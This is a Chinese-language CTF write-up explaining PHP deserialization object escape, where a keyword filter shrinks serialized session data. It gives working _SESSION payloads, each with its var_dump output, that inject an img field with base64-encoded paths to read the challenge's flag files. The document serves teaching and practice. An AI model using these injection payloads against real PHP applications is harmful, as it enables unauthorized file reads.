0x00 知識點
PHP反序列化的對象逃逸
任何具有一定結構的數據,只要經過了某些處理而把自身結構改變,則可能會產生漏洞。
參考鏈接:
https://blog.csdn.net/a3320315/article/details/104118688/
過濾函數分為兩種情況
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。
過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那么我們有兩種方法:
鍵逃逸和值逃逸
值逃逸:
這兒需要兩個連續的鍵值對,由第一個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為一個鍵值對
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
var_dump的結果為:
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
鍵逃逸:
這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
var_dump的結果為:
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
這兒得s:7:""之所以為空,是因為我們構造得鍵flagphp都是會被過濾得,所以顯示為空,這樣就能吃掉一部分值了,然后將剩下得值充當另一個對象逃逸出去~~
0x01 解題
回到題目,我們首先看源碼
過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
正常傳img參數進去會被sha1加密,我們應該用別的方法控制$_SESSION中的參數。
本來挺好的序列化的字符串,按某種去掉了一些關鍵字,本身就不對,本身就涉及到可能破壞原有結構而無法正常反序列化的問題。這里是利用反序列化長度逃逸控制了img參數。之前有一道題目是關鍵字替換導致字符串長度變長,把后面的原有參數擠出去了,
本題是關鍵字被置空導致長度變短,后面的值的單引號閉合了前面的值的單引號,導致一些內容逃逸。。
extract后覆蓋了兩個沒用的屬性,但是后面又強制加了一個我們不可控的img屬性
根據源碼,我們先對f傳參phpinfo
構造payload來對
d0g3_f1ag.php讀取。
;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
解釋一下:
這里首先phpflagphpflag會被過濾為空,吃掉一部分值
$serialize_info的內容為
a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";
剛好把后面多余的img部分截斷掉
payload:
_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
讀取/d0g3_fllllllag
payload:
_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
參考鏈接:
https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/